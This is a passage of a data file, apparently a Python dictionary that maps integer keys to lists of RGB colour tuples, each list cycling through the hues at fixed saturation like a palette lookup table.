101), (170, 204, 101), (166, 204, 101), (163, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (149, 204, 101), (146, 204, 101), (142, 204, 101), (139, 204, 101), (135, 204, 101), (132, 204, 101), (128, 204, 101), (125, 204, 101), (121, 204, 101), (118, 204, 101), (114, 204, 101), (111, 204, 101), (107, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 110), (101, 204, 113), (101, 204, 117), (101, 204, 120), (101, 204, 124), (101, 204, 127), (101, 204, 130), (101, 204, 134), (101, 204, 137), (101, 204, 141), (101, 204, 144), (101, 204, 148), (101, 204, 151), (101, 204, 155), (101, 204, 158), (101, 204, 162), (101, 204, 165), (101, 204, 169), (101, 204, 172), (101, 204, 176), (101, 204, 179), (101, 204, 183), (101, 204, 186), (101, 204, 190), (101, 204, 193), (101, 204, 197), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 197, 204), (101, 193, 204), (101, 190, 204), (101, 186, 204), (101, 183, 204), (101, 179, 204), (101, 176, 204), (101, 172, 204), (101, 169, 204), (101, 165, 204), (101, 162, 204), (101, 158, 204), (101, 155, 204), (101, 151, 204), (101, 148, 204), (101, 144, 204), (101, 141, 204), (101, 137, 204), (101, 134, 204), (101, 130, 204), (101, 127, 204), (101, 124, 204), (101, 120, 204), (101, 117, 204), (101, 113, 204), (101, 110, 204), (101, 106, 204), (101, 103, 204), (104, 101, 204), (107, 101, 204), (111, 101, 204), (114, 101, 204), (118, 101, 204), (121, 101, 204), (125, 101, 204), (128, 101, 204), (132, 101, 204), (135, 101, 204), (139, 101, 204), (142, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (156, 101, 204), (159, 101, 204), (163, 101, 204), (166, 101, 204), (170, 101, 204), (173, 101, 204), (177, 101, 204), (180, 101, 204), (184, 101, 204), (187, 101, 204), (191, 101, 204), (194, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 195), (204, 101, 192), (204, 101, 188), (204, 101, 185), (204, 101, 181), (204, 101, 178), (204, 101, 175), (204, 101, 171), (204, 101, 168), (204, 101, 164), (204, 101, 161), (204, 101, 157), (204, 101, 154), (204, 101, 150), (204, 101, 147), (204, 101, 143), (204, 101, 140), (204, 101, 136), (204, 101, 133), (204, 101, 129), (204, 101, 126), (204, 101, 122), (204, 101, 119), (204, 101, 115), (204, 101, 112), (204, 101, 108), (204, 101, 105)], 177: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 112, 101), (204, 115, 101), (204, 119, 101), (204, 122, 101), (204, 126, 101), (204, 129, 101), (204, 133, 101), (204, 136, 101), (204, 140, 101), (204, 143, 101), (204, 146, 101), (204, 150, 101), (204, 153, 101), (204, 157, 101), (204, 160, 101), (204, 164, 101), (204, 167, 101), (204, 171, 101), (204, 174, 101), (204, 178, 101), (204, 181, 101), (204, 184, 101), (204, 188, 101), (204, 191, 101), (204, 195, 101), (204, 198, 101), (204, 202, 101), (202, 204, 101), (198, 204, 101), (195, 204, 101), (191, 204, 101), (188, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (174, 204, 101), (171, 204, 101), (167, 204, 101), (164, 204, 101), (160, 204, 101), (157, 204, 101), (153, 204, 101), (150, 204, 101), (146, 204, 101), (143, 204, 101), (140, 204, 101), (136, 204, 101), (133, 204, 101), (129, 204, 101), (126, 204, 101), (122, 204, 101), (119, 204, 101), (115, 204, 101), (112, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 105), (101, 204, 108), (101, 204, 112), (101, 204, 115), (101, 204, 119), (101, 204, 122), (101, 204, 126), (101, 204, 129), (101, 204, 133), (101, 204, 136), (101, 204, 140), (101, 204, 143), (101, 204, 146), (101, 204, 150), (101, 204, 153), (101, 204, 157), (101, 204, 160), (101, 204, 164), (101, 204, 167), (101, 204, 171), (101, 204, 174), (101, 204, 178), (101, 204, 181), (101, 204, 184), (101, 204, 188), (101, 204, 191), (101, 204, 195), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 195, 204), (101, 191, 204), (101, 188, 204), (101, 184, 204), (101, 181, 204), (101, 178, 204), (101, 174, 204), (101, 171, 204), (101, 167, 204), (101, 164, 204), (101, 160, 204), (101, 157, 204), (101, 153, 204), (101, 150, 204), (101, 146, 204), (101, 143, 204), (101, 140, 204), (101, 136, 204), (101, 133, 204), (101, 129, 204), (101, 126, 204), (101, 122, 204), (101, 119, 204), (101, 115, 204), (101, 112, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (105, 101, 204), (108, 101, 204), (112, 101, 204), (115, 101, 204), (119, 101, 204), (122, 101, 204), (126, 101, 204), (129, 101, 204), (133, 101, 204), (136, 101, 204), (140, 101, 204), (143, 101, 204), (146, 101, 204), (150, 101, 204), (153, 101, 204), (157, 101, 204), (160, 101, 204), (164, 101, 204), (167, 101, 204), (171, 101, 204), (174, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (188, 101, 204), (191, 101, 204), (195, 101, 204), (198, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 198), (204, 101, 195), (204, 101, 191), (204, 101, 188), (204, 101, 184), (204, 101, 181), (204, 101, 178), (204, 101, 174), (204, 101, 171), (204, 101, 167), (204, 101, 164), (204, 101, 160), (204, 101, 157), (204, 101, 153), (204, 101, 150), (204, 101, 146), (204, 101, 143), (204, 101, 140), (204, 101, 136), (204, 101, 133), (204, 101, 129), (204, 101, 126), (204, 101, 122), (204, 101, 119), (204, 101, 115), (204, 101, 112), (204, 101, 108), (204, 101, 105)], 178: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 112, 101), (204, 115, 101), (204, 119, 101), (204, 122, 101), (204, 126, 101), (204, 129, 101), (204, 132, 101), (204, 136, 101), (204, 139, 101), (204, 143, 101), (204, 146, 101), (204, 150, 101), (204, 153, 101), (204, 157, 101), (204, 160, 101), (204, 163, 101), (204, 167, 101), (204, 170, 101), (204, 174, 101), (204, 177, 101), (204, 181, 101), (204, 184, 101), (204, 187, 101), (204, 191, 101), (204, 194, 101), (204, 198, 101), (204, 201, 101), (202, 204, 101), (199, 204, 101), (195, 204, 101), (192, 204, 101), (189, 204, 101), (185, 204, 101), (182, 204, 101), (178, 204, 101), (175, 204, 101), (171, 204, 101), (168, 204, 101), (165, 204, 101), (161, 204, 101), (158, 204, 101), (154, 204, 101), (151, 204, 101), (147, 204, 101), (144, 204, 101), (140, 204, 101), (137, 204, 101), (134, 204, 101), (130, 204, 101), (127, 204, 101), (123, 204, 101), (120, 204, 101), (116, 204, 101), (113, 204, 101), (110, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 111), (101, 204, 114), (101, 204, 118), (101, 204, 121), (101, 204, 124), (101, 204, 128), (101, 204, 131), (101, 204, 135), (101, 204, 138), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 152), (101, 204, 155), (101, 204, 159), (101, 204, 162), (101, 204, 166), (101, 204, 169), (101, 204, 173), (101, 204, 176), (101, 204, 179), (101, 204, 183), (101, 204, 186), (101, 204, 190), (101, 204, 193), (101, 204, 197), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 197, 204), (101, 193, 204), (101, 190, 204), (101, 186, 204), (101, 183, 204), (101, 179, 204), (101, 176, 204), (101, 173, 204), (101, 169, 204), (101, 166, 204), (101, 162, 204), (101, 159, 204), (101, 155, 204), (101, 152, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 138, 204), (101, 135, 204), (101, 131, 204), (101, 128, 204), (101, 124, 204), (101, 121, 204), (101, 118, 204), (101, 114, 204), (101, 111, 204), (101, 107, 204), (101, 104, 204), (103, 101, 204), (106, 101, 204), (110, 101, 204), (113, 101, 204), (116, 101, 204), (120, 101, 204), (123, 101, 204), (127, 101, 204), (130, 101, 204), (134, 101, 204), (137, 101, 204), (140, 101, 204), (144, 101, 204), (147, 101, 204), (151, 101, 204), (154, 101, 204), (158, 101, 204), (161, 101, 204), (165, 101, 204), (168, 101, 204), (171, 101, 204), (175, 101, 204), (178, 101, 204), (182, 101, 204), (185, 101, 204), (189, 101, 204), (192, 101, 204), (195, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 201), (204, 101, 198), (204, 101, 194), (204, 101, 191), (204, 101, 187), (204, 101, 184), (204, 101, 181), (204, 101, 177), (204, 101, 174), (204, 101, 170), (204, 101, 167), (204, 101, 163), (204, 101, 160), (204, 101, 157), (204, 101, 153), (204, 101, 150), (204, 101, 146), (204, 101, 143), (204, 101, 139), (204, 101, 136), (204, 101, 132), (204, 101, 129), (204, 101, 126), (204, 101, 122), (204, 101, 119), (204, 101, 115), (204, 101, 112), (204, 101, 108), (204, 101, 105)], 179: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 112, 101), (204, 115, 101), (204, 119, 101), (204, 122, 101), (204, 125, 101), (204, 129, 101), (204, 132, 101), (204, 136, 101), (204, 139, 101), (204, 143, 101), (204, 146, 101), (204, 149, 101), (204, 153, 101), (204, 156, 101), (204, 160, 101), (204, 163, 101), (204, 166, 101), (204, 170, 101), (204, 173, 101), (204, 177, 101), (204, 180, 101), (204, 184, 101), (204, 187, 101), (204, 190, 101), (204, 194, 101), (204, 197, 101), (204, 201, 101), (203, 204, 101), (200, 204, 101), (196, 204, 101), (193, 204, 101), (189, 204, 101), (186, 204, 101), (182, 204, 101), (179, 204, 101), (176, 204, 101), (172, 204, 101), (169, 204, 101), (165, 204, 101), (162, 204, 101), (158, 204, 101), (155, 204, 101), (152, 204, 101), (148, 204, 101), (145, 204, 101), (141, 204, 101), (138, 204, 101), (135, 204, 101), (131, 204, 101), (128, 204, 101), (124, 204, 101), (121, 204, 101), (117, 204, 101), (114, 204, 101), (111, 204, 101), (107, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 113), (101, 204, 116), (101, 204, 120), (101, 204, 123), (101, 204, 127), (101, 204, 130), (101, 204, 133), (101, 204, 137), (101, 204, 140), (101, 204, 144), (101, 204, 147), (101, 204, 151), (101, 204, 154), (101, 204, 157), (101, 204, 161), (101, 204, 164), (101, 204, 168), (101, 204, 171), (101, 204, 174), (101, 204, 178), (101, 204, 181), (101, 204, 185), (101, 204, 188), (101, 204, 192), (101, 204, 195), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 195, 204), (101, 192, 204), (101, 188, 204), (101, 185, 204), (101, 181, 204), (101, 178, 204), (101, 174, 204), (101, 171, 204), (101, 168, 204), (101, 164, 204), (101, 161, 204), (101, 157, 204), (101, 154, 204), (101, 151, 204), (101, 147, 204), (101, 144, 204), (101, 140, 204), (101, 137, 204), (101, 133, 204), (101, 130, 204), (101, 127, 204), (101, 123, 204), (101, 120, 204), (101, 116, 204), (101, 113, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (104, 101, 204), (107, 101, 204), (111, 101, 204), (114, 101, 204), (117, 101, 204), (121, 101, 204), (124, 101, 204), (128, 101, 204), (131, 101, 204), (135, 101, 204), (138, 101, 204), (141, 101, 204), (145, 101, 204), (148, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (162, 101, 204), (165, 101, 204), (169, 101, 204), (172, 101, 204), (176, 101, 204), (179, 101, 204), (182, 101, 204), (186, 101, 204), (189, 101, 204), (193, 101, 204), (196, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 197), (204, 101, 194), (204, 101, 190), (204, 101, 187), (204, 101, 184), (204, 101, 180), (204, 101, 177), (204, 101, 173), (204, 101, 170), (204, 101, 166), (204, 101, 163), (204, 101, 160), (204, 101, 156), (204, 101, 153), (204, 101, 149), (204, 101, 146), (204, 101, 143), (204, 101, 139), (204, 101, 136), (204, 101, 132), (204, 101, 129), (204, 101, 125), (204, 101, 122), (204, 101, 119), (204, 101, 115), (204, 101, 112), (204, 101, 108), (204, 101, 105)], 180: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 112, 101), (204, 115, 101), (204, 118, 101), (204, 122, 101), (204, 125, 101), (204, 129, 101), (204, 132, 101), (204, 136, 101), (204, 139, 101), (204, 142, 101), (204, 146, 101), (204, 149, 101), (204, 152, 101), (204, 156, 101), (204, 159, 101), (204, 163, 101), (204, 166, 101), (204, 170, 101), (204, 173, 101), (204, 176, 101), (204, 180, 101), (204, 183, 101), (204, 186, 101), (204, 190, 101), (204, 193, 101), (204, 197, 101), (204, 200, 101), (204, 204, 101), (200, 204, 101), (197, 204, 101), (193, 204, 101), (190, 204, 101), (187, 204, 101), (183, 204, 101), (180, 204, 101), (176, 204, 101), (173, 204, 101), (169, 204, 101), (166, 204, 101), (163, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (149, 204, 101), (146, 204, 101), (142, 204, 101), (139, 204, 101), (136, 204, 101), (132, 204, 101), (129, 204, 101), (125, 204, 101), (122, 204, 101), (118, 204, 101), (115, 204, 101), (112, 204, 101), (108, 204, 101), (105, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 108), (101, 204, 112), (101, 204, 115), (101, 204, 119), (101, 204, 122), (101, 204, 125), (101, 204, 129), (101, 204, 132), (101, 204, 135), (101, 204, 139), (101, 204, 142), (101, 204, 146), (101, 204, 149), (101, 204, 153), (101, 204, 156), (101, 204, 159), (101, 204, 163), (101, 204, 166), (101, 204, 170), (101, 204, 173), (101, 204, 176), (101, 204, 180), (101, 204, 183), (101, 204, 187), (101, 204, 190), (101, 204, 193), (101, 204, 197), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 197, 204), (101, 193, 204), (101, 190, 204), (101, 187, 204), (101, 183, 204), (101, 180, 204), (101, 176, 204), (101, 173, 204), (101, 169, 204), (101, 166, 204), (101, 163, 204), (101, 159, 204), (101, 156, 204), (101, 152, 204), (101, 149, 204), (101, 146, 204), (101, 142, 204), (101, 139, 204), (101, 135, 204), (101, 132, 204), (101, 129, 204), (101, 125, 204), (101, 122, 204), (101, 118, 204), (101, 115, 204), (101, 112, 204), (101, 108, 204), (101, 105, 204), (101, 101, 204), (105, 101, 204), (108, 101, 204), (112, 101, 204), (115, 101, 204), (118, 101, 204), (122, 101, 204), (125, 101, 204), (129, 101, 204), (132, 101, 204), (136, 101, 204), (139, 101, 204), (142, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (156, 101, 204), (159, 101, 204), (163, 101, 204), (166, 101, 204), (169, 101, 204), (173, 101, 204), (176, 101, 204), (180, 101, 204), (183, 101, 204), (186, 101, 204), (190, 101, 204), (193, 101, 204), (197, 101, 204), (200, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 193), (204, 101, 190), (204, 101, 186), (204, 101, 183), (204, 101, 180), (204, 101, 176), (204, 101, 173), (204, 101, 169), (204, 101, 166), (204, 101, 163), (204, 101, 159), (204, 101, 156), (204, 101, 152), (204, 101, 149), (204, 101, 146), (204, 101, 142), (204, 101, 139), (204, 101, 135), (204, 101, 132), (204, 101, 129), (204, 101, 125), (204, 101, 122), (204, 101, 118), (204, 101, 115), (204, 101, 112), (204, 101, 108), (204, 101, 105)], 181: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 112, 101), (204, 115, 101), (204, 118, 101), (204, 122, 101), (204, 125, 101), (204, 129, 101), (204, 132, 101), (204, 135, 101), (204, 139, 101), (204, 142, 101), (204, 145, 101), (204, 149, 101), (204, 152, 101), (204, 156, 101), (204, 159, 101), (204, 162, 101), (204, 166, 101), (204, 169, 101), (204, 173, 101), (204, 176, 101), (204, 179, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 193, 101), (204, 196, 101), (204, 200, 101), (204, 203, 101), (201, 204, 101), (197, 204, 101), (194, 204, 101), (191, 204, 101), (187, 204, 101), (184, 204, 101), (180, 204, 101), (177, 204, 101), (174, 204, 101), (170, 204, 101), (167, 204, 101), (163, 204, 101), (160, 204, 101), (157, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (143, 204, 101), (140, 204, 101), (136, 204, 101), (133, 204, 101), (130, 204, 101), (126, 204, 101), (123, 204, 101), (120, 204, 101), (116, 204, 101), (113, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 111), (101, 204, 114), (101, 204, 117), (101, 204, 121), (101, 204, 124), (101, 204, 127), (101, 204, 131), (101, 204, 134), (101, 204, 138), (101, 204, 141), (101, 204, 144), (101, 204, 148), (101, 204, 151), (101, 204, 154), (101, 204, 158), (101, 204, 161), (101, 204, 165), (101, 204, 168), (101, 204, 171), (101, 204, 175), (101, 204, 178), (101, 204, 182), (101, 204, 185), (101, 204, 188), (101, 204, 192), (101, 204, 195), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 195, 204), (101, 192, 204), (101, 188, 204), (101, 185, 204), (101, 182, 204), (101, 178, 204), (101, 175, 204), (101, 171, 204), (101, 168, 204), (101, 165, 204), (101, 161, 204), (101, 158, 204), (101, 154, 204), (101, 151, 204), (101, 148, 204), (101, 144, 204), (101, 141, 204), (101, 138, 204), (101, 134, 204), (101, 131, 204), (101, 127, 204), (101, 124, 204), (101, 121, 204), (101, 117, 204), (101, 114, 204), (101, 111, 204), (101, 107, 204), (101, 104, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (113, 101, 204), (116, 101, 204), (120, 101, 204), (123, 101, 204), (126, 101, 204), (130, 101, 204), (133, 101, 204), (136, 101, 204), (140, 101, 204), (143, 101, 204), (147, 101, 204), (150, 101, 204), (153, 101, 204), (157, 101, 204), (160, 101, 204), (163, 101, 204), (167, 101, 204), (170, 101, 204), (174, 101, 204), (177, 101, 204), (180, 101, 204), (184, 101, 204), (187, 101, 204), (191, 101, 204), (194, 101, 204), (197, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 196), (204, 101, 193), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 179), (204, 101, 176), (204, 101, 173), (204, 101, 169), (204, 101, 166), (204, 101, 162), (204, 101, 159), (204, 101, 156), (204, 101, 152), (204, 101, 149), (204, 101, 145), (204, 101, 142), (204, 101, 139), (204, 101, 135), (204, 101, 132), (204, 101, 129), (204, 101, 125), (204, 101, 122), (204, 101, 118), (204, 101, 115), (204, 101, 112), (204, 101, 108), (204, 101, 105)], 182: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 112, 101), (204, 115, 101), (204, 118, 101), (204, 122, 101), (204, 125, 101), (204, 128, 101), (204, 132, 101), (204, 135, 101), (204, 138, 101), (204, 142, 101), (204, 145, 101), (204, 149, 101), (204, 152, 101), (204, 155, 101), (204, 159, 101), (204, 162, 101), (204, 165, 101), (204, 169, 101), (204, 172, 101), (204, 175, 101), (204, 179, 101), (204, 182, 101), (204, 186, 101), (204, 189, 101), (204, 192, 101), (204, 196, 101), (204, 199, 101), (204, 202, 101), (201, 204, 101), (198, 204, 101), (195, 204, 101), (191, 204, 101), (188, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (174, 204, 101), (171, 204, 101), (168, 204, 101), (164, 204, 101), (161, 204, 101), (158, 204, 101), (154, 204, 101), (151, 204, 101), (147, 204, 101), (144, 204, 101), (141, 204, 101), (137, 204, 101), (134, 204, 101), (131, 204, 101), (127, 204, 101), (124, 204, 101), (121, 204, 101), (117, 204, 101), (114, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 113), (101, 204, 116), (101, 204, 119), (101, 204, 123), (101, 204, 126), (101, 204, 130), (101, 204, 133), (101, 204, 136), (101, 204, 140), (101, 204, 143), (101, 204, 146), (101, 204, 150), (101, 204, 153), (101, 204, 156), (101, 204, 160), (101, 204, 163), (101, 204, 167), (101, 204, 170), (101, 204, 173), (101, 204, 177), (101, 204, 180), (101, 204, 183), (101, 204, 187), (101, 204, 190), (101, 204, 193), (101, 204, 197), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 197, 204), (101, 193, 204), (101, 190, 204), (101, 187, 204), (101, 183, 204), (101, 180, 204), (101, 177, 204), (101, 173, 204), (101, 170, 204), (101, 167, 204), (101, 163, 204), (101, 160, 204), (101, 156, 204), (101, 153, 204), (101, 150, 204), (101, 146, 204), (101, 143, 204), (101, 140, 204), (101, 136, 204), (101, 133, 204), (101, 130, 204), (101, 126, 204), (101, 123, 204), (101, 119, 204), (101, 116, 204), (101, 113, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (114, 101, 204), (117, 101, 204), (121, 101, 204), (124, 101, 204), (127, 101, 204), (131, 101, 204), (134, 101, 204), (137, 101, 204), (141, 101, 204), (144, 101, 204), (147, 101, 204), (151, 101, 204), (154, 101, 204), (158, 101, 204), (161, 101, 204), (164, 101, 204), (168, 101, 204), (171, 101, 204), (174, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (188, 101, 204), (191, 101, 204), (195, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 196), (204, 101, 192), (204, 101, 189), (204, 101, 186), (204, 101, 182), (204, 101, 179), (204, 101, 175), (204, 101, 172), (204, 101, 169), (204, 101, 165), (204, 101, 162), (204, 101, 159), (204, 101, 155), (204, 101, 152), (204, 101, 149), (204, 101, 145), (204, 101, 142), (204, 101, 138), (204, 101, 135), (204, 101, 132), (204, 101, 128), (204, 101, 125), (204, 101, 122), (204, 101, 118), (204, 101, 115), (204, 101, 112), (204, 101, 108), (204, 101, 105)], 183: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 112, 101), (204, 115, 101), (204, 118, 101), (204, 122, 101), (204, 125, 101), (204, 128, 101), (204, 132, 101), (204, 135, 101), (204, 138, 101), (204, 142, 101), (204, 145, 101), (204, 148, 101), (204, 152, 101), (204, 155, 101), (204, 158, 101), (204, 162, 101), (204, 165, 101), (204, 168, 101), (204, 172, 101), (204, 175, 101), (204, 178, 101), (204, 182, 101), (204, 185, 101), (204, 188, 101), (204, 192, 101), (204, 195, 101), (204, 198, 101), (204, 202, 101), (202, 204, 101), (198, 204, 101), (195, 204, 101), (192, 204, 101), (188, 204, 101), (185, 204, 101), (182, 204, 101), (178, 204, 101), (175, 204, 101), (172, 204, 101), (168, 204, 101), (165, 204, 101), (162, 204, 101), (158, 204, 101), (155, 204, 101), (152, 204, 101), (148, 204, 101), (145, 204, 101), (142, 204, 101), (138, 204, 101), (135, 204, 101), (132, 204, 101), (128, 204, 101), (125, 204, 101), (122, 204, 101), (118, 204, 101), (115, 204, 101), (112, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 105), (101, 204, 108), (101, 204, 112), (101, 204, 115), (101, 204, 118), (101, 204, 122), (101, 204, 125), (101, 204, 128), (101, 204, 132), (101, 204, 135), (101, 204, 138), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 152), (101, 204, 155), (101, 204, 158), (101, 204, 162), (101, 204, 165), (101, 204, 168), (101, 204, 172), (101, 204, 175), (101, 204, 178), (101, 204, 182), (101, 204, 185), (101, 204, 188), (101, 204, 192), (101, 204, 195), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 195, 204), (101, 192, 204), (101, 188, 204), (101, 185, 204), (101, 182, 204), (101, 178, 204), (101, 175, 204), (101, 172, 204), (101, 168, 204), (101, 165, 204), (101, 162, 204), (101, 158, 204), (101, 155, 204), (101, 152, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 138, 204), (101, 135, 204), (101, 132, 204), (101, 128, 204), (101, 125, 204), (101, 122, 204), (101, 118, 204), (101, 115, 204), (101, 112, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (105, 101, 204), (108, 101, 204), (112, 101, 204), (115, 101, 204), (118, 101, 204), (122, 101, 204), (125, 101, 204), (128, 101, 204), (132, 101, 204), (135, 101, 204), (138, 101, 204), (142, 101, 204), (145, 101, 204), (148, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (162, 101, 204), (165, 101, 204), (168, 101, 204), (172, 101, 204), (175, 101, 204), (178, 101, 204), (182, 101, 204), (185, 101, 204), (188, 101, 204), (192, 101, 204), (195, 101, 204), (198, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 198), (204, 101, 195), (204, 101, 192), (204, 101, 188), (204, 101, 185), (204, 101, 182), (204, 101, 178), (204, 101, 175), (204, 101, 172), (204, 101, 168), (204, 101, 165), (204, 101, 162), (204, 101, 158), (204, 101, 155), (204, 101, 152), (204, 101, 148), (204, 101, 145), (204, 101, 142), (204, 101, 138), (204, 101, 135), (204, 101, 132), (204, 101, 128), (204, 101, 125), (204, 101, 122), (204, 101, 118), (204, 101, 115), (204, 101, 112), (204, 101, 108), (204, 101, 105)], 184: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 115, 101), (204, 118, 101), (204, 121, 101), (204, 125, 101), (204, 128, 101), (204, 131, 101), (204, 135, 101), (204, 138, 101), (204, 141, 101), (204, 145, 101), (204, 148, 101), (204, 151, 101), (204, 155, 101), (204, 158, 101), (204, 161, 101), (204, 165, 101), (204, 168, 101), (204, 171, 101), (204, 175, 101), (204, 178, 101), (204, 181, 101), (204, 185, 101), (204, 188, 101), (204, 191, 101), (204, 195, 101), (204, 198, 101), (204, 201, 101), (202, 204, 101), (199, 204, 101), (196, 204, 101), (192, 204, 101), (189, 204, 101), (186, 204, 101), (182, 204, 101), (179, 204, 101), (176, 204, 101), (172, 204, 101), (169, 204, 101), (166, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (149, 204, 101), (146, 204, 101), (143, 204, 101), (139, 204, 101), (136, 204, 101), (133, 204, 101), (129, 204, 101), (126, 204, 101), (123, 204, 101), (119, 204, 101), (116, 204, 101), (113, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 114), (101, 204, 117), (101, 204, 120), (101, 204, 124), (101, 204, 127), (101, 204, 130), (101, 204, 134), (101, 204, 137), (101, 204, 140), (101, 204, 144), (101, 204, 147), (101, 204, 150), (101, 204, 154), (101, 204, 157), (101, 204, 160), (101, 204, 164), (101, 204, 167), (101, 204, 170), (101, 204, 174), (101, 204, 177), (101, 204, 180), (101, 204, 184), (101, 204, 187), (101, 204, 190), (101, 204, 194), (101, 204, 197), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 197, 204), (101, 194, 204), (101, 190, 204), (101, 187, 204), (101, 184, 204), (101, 180, 204), (101, 177, 204), (101, 174, 204), (101, 170, 204), (101, 167, 204), (101, 164, 204), (101, 160, 204), (101, 157, 204), (101, 154, 204), (101, 150, 204), (101, 147, 204), (101, 144, 204), (101, 140, 204), (101, 137, 204), (101, 134, 204), (101, 130, 204), (101, 127, 204), (101, 124, 204), (101, 120, 204), (101, 117, 204), (101, 114, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (113, 101, 204), (116, 101, 204), (119, 101, 204), (123, 101, 204), (126, 101, 204), (129, 101, 204), (133, 101, 204), (136, 101, 204), (139, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (156, 101, 204), (159, 101, 204), (162, 101, 204), (166, 101, 204), (169, 101, 204), (172, 101, 204), (176, 101, 204), (179, 101, 204), (182, 101, 204), (186, 101, 204), (189, 101, 204), (192, 101, 204), (196, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 201), (204, 101, 198), (204, 101, 195), (204, 101, 191), (204, 101, 188), (204, 101, 185), (204, 101, 181), (204, 101, 178), (204, 101, 175), (204, 101, 171), (204, 101, 168), (204, 101, 165), (204, 101, 161), (204, 101, 158), (204, 101, 155), (204, 101, 151), (204, 101, 148), (204, 101, 145), (204, 101, 141), (204, 101, 138), (204, 101, 135), (204, 101, 131), (204, 101, 128), (204, 101, 125), (204, 101, 121), (204, 101, 118), (204, 101, 115), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 185: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 115, 101), (204, 118, 101), (204, 121, 101), (204, 125, 101), (204, 128, 101), (204, 131, 101), (204, 135, 101), (204, 138, 101), (204, 141, 101), (204, 145, 101), (204, 148, 101), (204, 151, 101), (204, 154, 101), (204, 158, 101), (204, 161, 101), (204, 164, 101), (204, 168, 101), (204, 171, 101), (204, 174, 101), (204, 178, 101), (204, 181, 101), (204, 184, 101), (204, 188, 101), (204, 191, 101), (204, 194, 101), (204, 197, 101), (204, 201, 101), (203, 204, 101), (200, 204, 101), (196, 204, 101), (193, 204, 101), (190, 204, 101), (186, 204, 101), (183, 204, 101), (180, 204, 101), (176, 204, 101), (173, 204, 101), (170, 204, 101), (167, 204, 101), (163, 204, 101), (160, 204, 101), (157, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (143, 204, 101), (140, 204, 101), (137, 204, 101), (133, 204, 101), (130, 204, 101), (127, 204, 101), (124, 204, 101), (120, 204, 101), (117, 204, 101), (114, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 113), (101, 204, 116), (101, 204, 119), (101, 204, 122), (101, 204, 126), (101, 204, 129), (101, 204, 132), (101, 204, 136), (101, 204, 139), (101, 204, 142), (101, 204, 146), (101, 204, 149), (101, 204, 152), (101, 204, 156), (101, 204, 159), (101, 